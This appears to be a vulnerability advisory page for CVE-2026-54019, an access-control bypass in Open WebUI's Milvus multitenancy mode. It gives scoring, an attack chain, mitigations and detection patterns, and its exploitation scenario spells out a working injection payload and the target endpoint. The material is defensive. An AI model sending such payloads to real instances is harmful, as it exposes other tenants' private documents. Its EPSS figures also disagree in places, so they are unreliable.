CVE-2026-54019: Open WebUI RAG ACL bypass exposes

Q: Is CVE-2026-54019 actively exploited?

No confirmed active exploitation of CVE-2026-54019 has been reported, but organizations should still patch proactively.

Q: How to fix CVE-2026-54019?

1. Patch: Upgrade open-webui to ≥0.9.6 immediately—this release addresses both the ACL logic gap and the unsanitized Milvus expression interpolation. 2. Interim workaround (if patching is blocked): set ENABLE_MILVUS_MULTITENANCY_MODE=false to disable the vulnerable code path, accepting reduced tenant isolation at the Milvus layer. 3. Input validation at API boundary: reject collection names containing single quotes, logical operators, or special characters (minimum regex: /['"|&]/) in POST /api/v1/retrieval/query/collection and /query/doc before the ACL check. 4. Detection: search application and API gateway logs for collection_names values containing quote characters, 'resource_id', '!=', or 'or' in retrieval query requests. 5. Exposure assessment: audit all Open WebUI instances for Milvus multitenancy configuration and enumerate who holds authenticated access.

Q: What systems are affected by CVE-2026-54019?

This vulnerability affects the following AI/ML architecture patterns: RAG pipelines, multi-tenant AI platforms, vector databases, knowledge base systems, LLM chat interfaces with document ingestion.

Q: What is the CVSS score for CVE-2026-54019?

CVE-2026-54019 has a CVSS v3.1 base score of 6.5 (MEDIUM). The EPSS exploitation probability is 0.34%.

CISO Take

Open WebUI versions ≤0.9.5 with Milvus multitenancy mode enabled contain a query injection flaw that allows any authenticated low-privilege user to read private knowledge-base chunks belonging to other users without any victim interaction. This is a patch bypass of CVE-2026-44560: the ACL fix permits unknown collection names as legacy collections, and when Milvus multitenancy is active, those user-controlled names are interpolated verbatim into Milvus filter expressions—a tautological injection that returns the entire indexed corpus. Although the absolute EPSS is low (0.0003), its top-91% percentile ranking signals strong exploitation interest, and the public PoC is a single crafted HTTP request requiring no special tooling. Any multi-tenant Open WebUI deployment—SaaS platforms, enterprise shared instances, or team deployments—should upgrade to open-webui 0.9.6 immediately or disable ENABLE_MILVUS_MULTITENANCY_MODE as an interim control.

Sources: NVD EPSS GitHub Advisory ATLAS

What is the risk?

CVSS 6.5 (Medium) materially understates operational risk for multi-tenant deployments. The attack requires only a valid low-privilege account, no user interaction, and delivers a full confidentiality breach of all private RAG content across all tenants on the instance. In shared enterprise or SaaS Open WebUI deployments, the blast radius is the entire indexed knowledge base—proprietary documents, internal policies, customer data—for every user. The EPSS top-91% percentile and trivial PoC (single HTTP request) indicate this will be exploited rapidly after disclosure. It is a second-order patch bypass, meaning defenders who patched CVE-2026-44560 may believe they are protected when they are not.

How does the attack unfold?

Initial Access

Attacker authenticates to the Open WebUI instance using any valid low-privilege account—trial user, contractor, or compromised credential—requiring no elevated permissions.

AML.T0012

ACL Bypass

Attacker submits a crafted collection name containing a Milvus expression payload to the retrieval API; Open WebUI ACL misidentifies it as a benign unknown legacy collection and permits the request.

AML.T0049

Expression Injection

The unescaped collection name is interpolated into a Milvus filter expression, creating a tautology (resource_id != '' is always true) that matches all indexed document chunks across every tenant.

AML.T0085.000

Data Exfiltration

Milvus returns private knowledge-base chunks from all users' collections; attacker iterates queries with varied search terms to systematically extract the full RAG corpus of the entire instance.

AML.T0064

Initial Access

Attacker authenticates to the Open WebUI instance using any valid low-privilege account—trial user, contractor, or compromised credential—requiring no elevated permissions.

AML.T0012

ACL Bypass

Attacker submits a crafted collection name containing a Milvus expression payload to the retrieval API; Open WebUI ACL misidentifies it as a benign unknown legacy collection and permits the request.

AML.T0049

Expression Injection

The unescaped collection name is interpolated into a Milvus filter expression, creating a tautology (resource_id != '' is always true) that matches all indexed document chunks across every tenant.

AML.T0085.000

Data Exfiltration

Milvus returns private knowledge-base chunks from all users' collections; attacker iterates queries with varied search terms to systematically extract the full RAG corpus of the entire instance.

AML.T0064

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Open WebUI	pip	<= 0.9.5	`0.9.6`
147.6K 4 dependents Pushed 6d ago 81% patched ~6d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1

6.5 / 10

EPSS

0.3%

chance of exploitation in 30 days

Higher than 26% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR Low

UI None

S Unchanged

C High

I None

A None

What should I do?

5 steps

Patch: Upgrade open-webui to ≥0.9.6 immediately—this release addresses both the ACL logic gap and the unsanitized Milvus expression interpolation.
Interim workaround (if patching is blocked): set ENABLE_MILVUS_MULTITENANCY_MODE=false to disable the vulnerable code path, accepting reduced tenant isolation at the Milvus layer.
Input validation at API boundary: reject collection names containing single quotes, logical operators, or special characters (minimum regex: /['"|&]/) in POST /api/v1/retrieval/query/collection and /query/doc before the ACL check.
Detection: search application and API gateway logs for collection_names values containing quote characters, 'resource_id', '!=', or 'or' in retrieval query requests.
Exposure assessment: audit all Open WebUI instances for Milvus multitenancy configuration and enumerate who holds authenticated access.

What does CISA's SSVC say?

Decision Track*

Exploitation poc

Automatable No

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Auth Bypass Data Extraction Data Leakage RAG Framework AML.T0012 - Valid Accounts AML.T0040 - AI Model Inference API Access AML.T0049 - Exploit Public-Facing Application AML.T0064 - Gather RAG-Indexed Targets AML.T0085.000 - RAG Databases

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 10 - Data and data governance

ISO 42001

A.9.1 - AI data management — access control

NIST AI RMF

MANAGE 2.2 - AI risk management — data practices

OWASP LLM Top 10

LLM06:2025 - Sensitive Information Disclosure

Frequently Asked Questions

What is CVE-2026-54019?

Open WebUI versions ≤0.9.5 with Milvus multitenancy mode enabled contain a query injection flaw that allows any authenticated low-privilege user to read private knowledge-base chunks belonging to other users without any victim interaction. This is a patch bypass of CVE-2026-44560: the ACL fix permits unknown collection names as legacy collections, and when Milvus multitenancy is active, those user-controlled names are interpolated verbatim into Milvus filter expressions—a tautological injection that returns the entire indexed corpus. Although the absolute EPSS is low (0.0003), its top-91% percentile ranking signals strong exploitation interest, and the public PoC is a single crafted HTTP request requiring no special tooling. Any multi-tenant Open WebUI deployment—SaaS platforms, enterprise shared instances, or team deployments—should upgrade to open-webui 0.9.6 immediately or disable ENABLE_MILVUS_MULTITENANCY_MODE as an interim control.

Is CVE-2026-54019 actively exploited?

No confirmed active exploitation of CVE-2026-54019 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-54019?

1. Patch: Upgrade open-webui to ≥0.9.6 immediately—this release addresses both the ACL logic gap and the unsanitized Milvus expression interpolation. 2. Interim workaround (if patching is blocked): set ENABLE_MILVUS_MULTITENANCY_MODE=false to disable the vulnerable code path, accepting reduced tenant isolation at the Milvus layer. 3. Input validation at API boundary: reject collection names containing single quotes, logical operators, or special characters (minimum regex: /['"|&]/) in POST /api/v1/retrieval/query/collection and /query/doc before the ACL check. 4. Detection: search application and API gateway logs for collection_names values containing quote characters, 'resource_id', '!=', or 'or' in retrieval query requests. 5. Exposure assessment: audit all Open WebUI instances for Milvus multitenancy configuration and enumerate who holds authenticated access.

What systems are affected by CVE-2026-54019?

This vulnerability affects the following AI/ML architecture patterns: RAG pipelines, multi-tenant AI platforms, vector databases, knowledge base systems, LLM chat interfaces with document ingestion.

What is the CVSS score for CVE-2026-54019?

CVE-2026-54019 has a CVSS v3.1 base score of 6.5 (MEDIUM). The EPSS exploitation probability is 0.34%.

What is the AI security impact?

Affected AI Architectures

RAG pipelinesmulti-tenant AI platformsvector databasesknowledge base systemsLLM chat interfaces with document ingestion

MITRE ATLAS Techniques

AML.T0012 Valid Accounts

AML.T0040 AI Model Inference API Access

AML.T0049 Exploit Public-Facing Application

AML.T0064 Gather RAG-Indexed Targets

AML.T0085.000 RAG Databases

Compliance Controls Affected

EU AI Act: Article 10

ISO 42001: A.9.1

NIST AI RMF: MANAGE 2.2

OWASP LLM Top 10: LLM06:2025

What are the technical details?

Original Advisory

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resource_id and is interpolated into a Milvus expression without escaping. This is caused by an incomplete fix for CVE-2026-44560 This vulnerability is fixed in 0.9.6.

Exploitation Scenario

An attacker with any valid Open WebUI account (contractor, trial user, or compromised credential) sends a single POST request to /api/v1/retrieval/query/collection with collection_names set to ["x' or resource_id != '' or resource_id == 'x"]. The Open WebUI ACL evaluates the name, finds no matching knowledge base, and permits it as a legacy ephemeral collection. The string is then interpolated into the Milvus filter expression without escaping, creating the tautology 'resource_id == x' or resource_id != '' or resource_id == x'—which matches all indexed chunks across all tenants. The attacker iterates queries with varied search terms to systematically extract the full RAG corpus, including documents from knowledge bases owned by administrators, other teams, and all other users on the instance.

Weaknesses (CWE)

CWE-862 Missing Authorization Primary CWE-862 Missing Authorization Primary CWE-943 Improper Neutralization of Special Elements in Data Query Logic Primary CWE-943 Improper Neutralization of Special Elements in Data Query Logic Primary CWE-862 Missing Authorization CWE-943 Improper Neutralization of Special Elements in Data Query Logic

CWE-862 — Missing Authorization: The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

[Architecture and Design] Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
[Architecture and Design] Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Source: MITRE CWE corpus.